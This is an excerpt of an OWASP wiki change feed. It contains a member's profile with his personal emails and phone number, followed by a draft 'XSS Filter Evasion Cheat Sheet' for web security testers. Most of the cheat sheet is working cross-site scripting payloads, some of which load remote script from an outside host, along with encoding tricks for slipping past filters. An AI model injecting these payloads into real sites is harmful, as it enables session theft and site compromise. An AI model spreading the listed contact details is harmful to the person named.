&lt;br /&gt;
&lt;br /&gt;
Phone : +213796314102&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Islam_Azeddine_Mennouchi&amp;diff=135457</id>
		<title>User:Islam Azeddine Mennouchi</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Islam_Azeddine_Mennouchi&amp;diff=135457"/>
				<updated>2012-09-07T12:53:27Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Mennouchi Islam Azeddine Student of Computer Science in Algeria&lt;br /&gt;
&lt;br /&gt;
== Professional Details  ==&lt;br /&gt;
* Founder and CEO of Way4Com&lt;br /&gt;
* Founder Of DzGaNg Hacking and security&lt;br /&gt;
* Teacher and contributor at Hacking-Lab&lt;br /&gt;
* Security Free Lancer&lt;br /&gt;
* Owasp Algeria Chapter Leader  &lt;br /&gt;
* Pentester at NetBeOpen&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Contact Details ==&lt;br /&gt;
Facebook : [http://www.facebook.com/islamoc Mennouchi Islam Azeddine]&lt;br /&gt;
emails : islamoc@gmail.com&lt;br /&gt;
         admin@dzgang.info&lt;br /&gt;
         admin@way4com.com&lt;br /&gt;
         azeddine.mennouchi@owasp.org&lt;br /&gt;
         ai_mennouchi@esi.dz&lt;br /&gt;
Phone : +213796314102&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=135443</id>
		<title>XSS Filter Evasion Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=135443"/>
				<updated>2012-09-06T21:50:09Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
&lt;br /&gt;
= Introduction =&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. &lt;br /&gt;
&lt;br /&gt;
= Tests =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. &lt;br /&gt;
&lt;br /&gt;
Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.&lt;br /&gt;
&lt;br /&gt;
== XSS Locator ==&lt;br /&gt;
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &amp;quot;XSS&amp;quot; will pop up. Use this [http://ha.ckers.org/xss.html#XSScalc URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated &amp;quot;&amp;lt;PLAINTEXT&amp;gt;&amp;quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:&lt;br /&gt;
&lt;br /&gt;
 ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&amp;quot;;&lt;br /&gt;
 alert(String.fromCharCode(88,83,83))//\&amp;quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;'&amp;gt;&lt;br /&gt;
 &amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
Browser support: ['''IE7.0 http://www.theonixfiles.com/_templates/onixfiles/_images/logo-browser-ie8.png'''|'''IE6.0 http://l.yimg.com/lw/images/favicons/ie.gif'''|'''NS8.1-IE http://www.english.globalarabnetwork.com/modules/mod_jbookmarks/images/netscape.png'''] ['''NS8.1-G http://www.english.globalarabnetwork.com/modules/mod_jbookmarks/images/netscape.png'''|'''FF2.0 http://people.mozilla.com/~faaborg/files/shiretoko/firefoxIcon/firefox-16.png'''] ['''O9.02 http://yowindow.com/img/opera_icon.gif''']&lt;br /&gt;
&lt;br /&gt;
== XSS locator 2 ==&lt;br /&gt;
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for &amp;lt;XSS verses &amp;amp;lt;XSS to see if it is vulnerable:&lt;br /&gt;
&lt;br /&gt;
 '';!--&amp;quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}&lt;br /&gt;
Browser support: ['''IE7.0 http://www.theonixfiles.com/_templates/onixfiles/_images/logo-browser-ie8.png'''|'''IE6.0 http://l.yimg.com/lw/images/favicons/ie.gif'''|'''NS8.1-IE http://www.english.globalarabnetwork.com/modules/mod_jbookmarks/images/netscape.png'''] ['''NS8.1-G http://www.english.globalarabnetwork.com/modules/mod_jbookmarks/images/netscape.png'''|'''FF2.0 http://people.mozilla.com/~faaborg/files/shiretoko/firefoxIcon/firefox-16.png'''] ['''O9.02 http://yowindow.com/img/opera_icon.gif''']&lt;br /&gt;
&lt;br /&gt;
== No Filter Evasion ==&lt;br /&gt;
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Browser support: ['''IE7.0 http://www.theonixfiles.com/_templates/onixfiles/_images/logo-browser-ie8.png'''|'''IE6.0 http://l.yimg.com/lw/images/favicons/ie.gif'''|'''NS8.1-IE http://www.english.globalarabnetwork.com/modules/mod_jbookmarks/images/netscape.png'''] ['''NS8.1-G http://www.english.globalarabnetwork.com/modules/mod_jbookmarks/images/netscape.png'''|'''FF2.0 http://people.mozilla.com/~faaborg/files/shiretoko/firefoxIcon/firefox-16.png'''] ['''O9.02 http://yowindow.com/img/opera_icon.gif''']&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Image XSS using the JavaScript directive ==&lt;br /&gt;
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== No quotes and no semicolon ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Case insensitive XSS attack vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== HTML entities == &lt;br /&gt;
The semicolons are required for this to work:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Grave accent obfuscation ==&lt;br /&gt;
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:&lt;br /&gt;
 &amp;lt;IMG SRC=`javascript:alert(&amp;quot;RSnake says, 'XSS'&amp;quot;)`&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Malformed IMG tags ==&lt;br /&gt;
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG &amp;quot;&amp;quot;&amp;quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== fromCharCode ==&lt;br /&gt;
if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== UTF-8 Unicode encoding ==&lt;br /&gt;
all of the XSS examples that use a javascript: directive inside of an &amp;lt;IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS  [Calculator http://ha.ckers.org/xss.html#XSScalc] for more information:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Long UTF-8 Unicode encoding without semicolons ==&lt;br /&gt;
This is often effective in XSS that attempts to look for &amp;quot;&amp;amp;#XX;&amp;quot;, since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;&lt;br /&gt;
 #0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Hex encoding without semicolons ==&lt;br /&gt;
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&amp;amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS[calculator http://ha.ckers.org/xss.html#XSScalc] for more information:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Embedded == &lt;br /&gt;
&lt;br /&gt;
=== Embedded tab === &lt;br /&gt;
Used to break up the cross site scripting attack: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Embedded Encoded tab ===&lt;br /&gt;
Use this one to break up XSS :&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x09;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
=== Embedded newline to break up XSS ===&lt;br /&gt;
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x0A;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
=== Embedded carriage return to break up XSS ===&lt;br /&gt;
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;jav&amp;amp;#x0D;ascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Null breaks up JavaScript directive ==&lt;br /&gt;
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:&lt;br /&gt;
&lt;br /&gt;
 perl -e 'print &amp;quot;&amp;lt;IMG SRC=java\0script:alert(\&amp;quot;XSS\&amp;quot;)&amp;gt;&amp;quot;;' &amp;gt; out&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Spaces and meta chars before the JavaScript in images for XSS ==&lt;br /&gt;
This is useful if the pattern match doesn't take into account spaces in the word &amp;quot;javascript:&amp;quot; -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the &amp;quot;javascript:&amp;quot; keyword. The actual reality is you can have any char from 1-32 in decimal:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot; &amp;amp;#14;  javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Non-alpha-non-digit XSS ==&lt;br /&gt;
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. &lt;br /&gt;
For example &amp;quot;&amp;lt;SCRIPT\s&amp;quot; != &amp;quot;&amp;lt;SCRIPT/XSS\s&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;SCRIPT/XSS SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&amp;quot;XSS&amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;SCRIPT/SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Extraneous open brackets ==&lt;br /&gt;
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:&lt;br /&gt;
 &amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== No closing script tags ==&lt;br /&gt;
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;quot; portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt; B &amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] ['''NS8.1-G'''|FF2.0'''] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Protocol resolution in script tags ==&lt;br /&gt;
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &amp;lt;/SCRIPT&amp;gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &amp;quot;.j&amp;quot; is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] ['''NS8.1-G'''|'''FF2.0'''] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Half open HTML/JavaScript XSS vector ==&lt;br /&gt;
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &amp;quot;&amp;gt;&amp;quot; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|&amp;lt;)[^\n]+((\%3E)|&amp;gt;)/ because it doesn't require the end &amp;quot;&amp;gt;&amp;quot;. As a side note, this was also affective against a real world XSS filter I came across using an open ended &amp;lt;IFRAME tag instead of an &amp;lt;IMG tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS')&amp;quot;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== Double open angle brackets ==&lt;br /&gt;
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] ['''NS8.1-G'''|'''FF2.0'''] [O9.02]&lt;br /&gt;
&lt;br /&gt;
== Escaping JavaScript escapes ==&lt;br /&gt;
When the application is written to output some user information inside of a JavaScript like the following: &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;$ENV{QUERY_STRING}&amp;quot;;&amp;lt;/SCRIPT&amp;gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read &amp;lt;SCRIPT&amp;gt;var a=&amp;quot;\\&amp;quot;;alert('XSS');//&amp;quot;;&amp;lt;/SCRIPT&amp;gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:&lt;br /&gt;
&lt;br /&gt;
 \&amp;quot;;alert('XSS');//&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== End title tag ==&lt;br /&gt;
This is a simple XSS vector that closes &amp;lt;TITLE&amp;gt; tags, which can encapsulate the malicious cross site scripting attack:&lt;br /&gt;
 &amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;);&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
== IMAGES ==&lt;br /&gt;
=== INPUT image ===&lt;br /&gt;
 &amp;lt;INPUT TYPE=&amp;quot;IMAGE&amp;quot; SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
=== BODY image ===&lt;br /&gt;
 &amp;lt;BODY BACKGROUND=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
=== IMG Dynsrc ===&lt;br /&gt;
 &amp;lt;IMG DYNSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== IMG lowsrc ===&lt;br /&gt;
 &amp;lt;IMG LOWSRC=&amp;quot;javascript:alert('XSS')&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== List-style-image ===&lt;br /&gt;
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&amp;quot;javascript:alert('XSS')&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&amp;lt;/br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== VBscript in an image ===&lt;br /&gt;
 &amp;lt;IMG SRC='vbscript:msgbox(&amp;quot;XSS&amp;quot;)'&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|'''IE6.0'''|'''NS8.1-IE'''] [NS8.1-G|FF2.0] [O9.02]&lt;br /&gt;
&lt;br /&gt;
=== Livescript (older versions of Netscape only)===&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;livescript:[code]&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] ['''NS4''']&lt;br /&gt;
&lt;br /&gt;
=== Mocha (older versions of Netscape only)===&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;mocha:[code]&amp;quot;&amp;gt;&lt;br /&gt;
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] ['''NS4''']&lt;br /&gt;
&lt;br /&gt;
== BODY tag ==&lt;br /&gt;
Method doesn't require using any variants of &amp;quot;javascript:&amp;quot; or &amp;quot;&amp;lt;SCRIPT...&amp;quot; to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (&amp;quot;onload=&amp;quot; != &amp;quot;onload =&amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;&lt;br /&gt;
Browser support: ['''IE7.0'''|'''IE6.0'''|'''NS8.1-IE'''] ['''NS8.1-G'''|'''FF2.0'''] ['''O9.02''']&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Event Handlers ==&lt;br /&gt;
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates:&lt;br /&gt;
  1.	FSCommand() (attacker can use this when executed from within an embedded Flash object)&lt;br /&gt;
  2.	onAbort() (when user aborts the loading of an image)&lt;br /&gt;
  3.	onActivate() (when object is set as the active element)&lt;br /&gt;
  4.	onAfterPrint() (activates after user prints or previews print job)&lt;br /&gt;
  5.	onAfterUpdate() (activates on data object after updating data in the source object)&lt;br /&gt;
  6.	onBeforeActivate() (fires before the object is set as the active element)&lt;br /&gt;
  7.	onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand  (&amp;quot;Copy&amp;quot;) function)&lt;br /&gt;
  8.	onBeforeCut() (attacker executes the attack string right before a selection is cut)&lt;br /&gt;
  9.	onBeforeDeactivate() (fires right after the activeElement is changed from the current object)&lt;br /&gt;
  10.	onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)&lt;br /&gt;
  11.	onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(&amp;quot;Paste&amp;quot;) function)&lt;br /&gt;
  12.	onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(&amp;quot;Print&amp;quot;) function).&lt;br /&gt;
  13.	onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)&lt;br /&gt;
  14.	onBegin() (the onbegin event fires immediately when the element's timeline begins)&lt;br /&gt;
  15.	onBlur() (in the case where another popup is loaded and window looses focus)&lt;br /&gt;
  16.	onBounce() (fires when the behavior property of the marquee object is set to &amp;quot;alternate&amp;quot; and the contents of the marquee reach one side of the window)&lt;br /&gt;
  17.	onCellChange() (fires when data changes in the data provider)&lt;br /&gt;
  18.	onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)&lt;br /&gt;
  19.	onClick() (someone clicks on a form)&lt;br /&gt;
  20.	onContextMenu() (user would need to right click on attack area)&lt;br /&gt;
  21.	onControlSelect() (fires when the user is about to make a control selection of the object)&lt;br /&gt;
  22.	onCopy() (user needs to copy something or it can be exploited using the execCommand(&amp;quot;Copy&amp;quot;) command)&lt;br /&gt;
  23.	onCut() (user needs to copy something or it can be exploited using the execCommand(&amp;quot;Cut&amp;quot;) command)&lt;br /&gt;
  24.	onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)&lt;br /&gt;
  25.	onDataSetChanged() (fires when the data set exposed by a data source object changes)&lt;br /&gt;
  26.	onDataSetComplete() (fires to indicate that all data is available from the data source object)&lt;br /&gt;
  27.	onDblClick() (user double-clicks a form element or a link)&lt;br /&gt;
  28.	onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)&lt;br /&gt;
  29.	onDrag() (requires that the user drags an object)&lt;br /&gt;
  30.	onDragEnd() (requires that the user drags an object)&lt;br /&gt;
  31.	onDragLeave() (requires that the user drags an object off a valid location)&lt;br /&gt;
  32.	onDragEnter() (requires that the user drags an object into a valid location)&lt;br /&gt;
  33.	onDragOver() (requires that the user drags an object into a valid location)&lt;br /&gt;
  34.	onDragDrop() (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
  35.	onDrop() (user drops an object (e.g. file) onto the browser window)&lt;br /&gt;
